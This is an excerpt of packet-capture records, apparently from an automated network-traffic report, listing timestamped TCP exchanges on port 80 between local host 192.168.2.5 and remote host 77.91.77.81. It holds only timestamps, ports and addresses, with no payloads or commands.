Jul 13, 2024 07:06:03.411936998 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.411956072 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.411973953 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412030935 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412056923 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412072897 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412081003 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412091970 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412106037 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412107944 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412126064 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412128925 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412128925 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412158966 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412245989 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412262917 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412277937 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412286997 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412286997 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412293911 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412305117 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412309885 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412324905 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412328005 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412337065 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412345886 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412352085 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412363052 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412372112 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412394047 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412396908 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412414074 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412429094 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412436008 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412436008 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412444115 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.412455082 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412470102 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.412477970 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413063049 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413086891 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413103104 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413117886 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413121939 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413130999 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413136005 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413152933 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413162947 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413168907 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413186073 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413199902 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413203001 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413213015 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413258076 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413600922 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413625002 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413646936 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413664103 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413666010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413678885 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413680077 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413697958 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413705111 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413713932 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413729906 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413731098 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413746119 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413758993 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413763046 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413780928 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413789034 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413798094 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413804054 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413815022 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413832903 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.413832903 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413845062 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413866043 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.413882971 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.444755077 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.444825888 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.444861889 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.444895029 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.444983006 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445010900 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445010900 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445010900 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445015907 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445029974 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445029974 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445055962 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445090055 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445091963 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445113897 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445127010 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445147038 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445158005 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445183992 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445210934 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445214033 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445246935 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445262909 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445281982 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445297003 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445316076 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445338964 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445348024 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445377111 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445386887 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445400953 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445420980 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445455074 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445462942 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445488930 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445523024 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445523024 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445523024 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445538044 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445558071 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445575953 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445594072 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.445611000 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.445645094 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.456389904 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.456433058 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.456470013 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.456506014 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.456506014 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.456536055 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.456571102 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.456588984 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.456588984 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.456604958 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.456626892 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.456640005 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.456676960 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.456679106 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.456691027 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.456728935 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.457464933 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.457520008 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.457524061 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.457556009 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.457573891 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.457608938 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.457609892 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.457643032 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.457664013 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.457678080 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.457693100 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.457711935 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.457729101 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.457745075 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.457772970 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.457797050 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.496984959 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497056007 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497092962 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497126102 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497178078 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497210979 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497245073 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497248888 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497248888 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497248888 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497248888 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497277975 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497278929 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497278929 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497309923 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497335911 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497356892 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497389078 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497423887 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497456074 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497483969 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497483969 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497490883 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497498035 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497505903 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497525930 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497560024 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497592926 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497628927 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497659922 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497692108 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497723103 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497723103 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497723103 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497723103 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497723103 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497728109 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497741938 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497741938 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497762918 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497797966 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497834921 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497865915 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497900009 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497932911 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497952938 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497952938 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497952938 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497952938 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497953892 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497967005 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.497972012 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.497981071 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498002052 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498037100 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498073101 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498176098 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498176098 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498176098 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498176098 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498178959 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498229980 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498231888 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498265982 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498282909 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498300076 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498318911 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498336077 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498349905 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498385906 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498503923 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498550892 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498565912 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498599052 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498617887 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498647928 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498665094 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498698950 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498714924 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498749971 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498754025 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498785973 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498800993 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498821974 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498837948 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498855114 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498874903 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498888969 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498902082 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498923063 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498940945 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498958111 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.498970985 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.498992920 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499003887 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499031067 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499041080 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499067068 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499083042 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499104023 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499123096 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499136925 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499155998 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499171019 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499191046 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499205112 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499216080 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499239922 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499254942 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499272108 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499291897 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499308109 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499322891 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499342918 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499360085 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499377966 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499397039 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499413013 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499428034 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499460936 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499481916 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499535084 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499562979 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499594927 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499614000 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499630928 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499643087 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499681950 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499778986 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499813080 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499830961 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499845028 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499859095 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499880075 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499897003 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499913931 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499932051 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499948978 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499959946 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.499984980 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.499999046 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.500034094 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.500099897 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.500134945 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.500153065 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.500168085 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.500181913 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.500200987 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.500212908 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.500236034 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.500246048 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.500269890 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.500288010 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.500305891 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.500324011 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.500339985 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.500353098 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.500396013 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.532990932 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533093929 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533152103 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533205032 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533237934 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533272982 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533276081 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.533277035 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.533277035 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.533307076 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533359051 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533391953 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533442974 CEST	80	49704	77.91.77.81	192.168.2.5
Jul 13, 2024 07:06:03.533467054 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.533467054 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.533467054 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.533467054 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.533467054 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.533467054 CEST	49704	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:06:03.533467054 CEST	49704	80	192.168.2.5	77.91.77.81
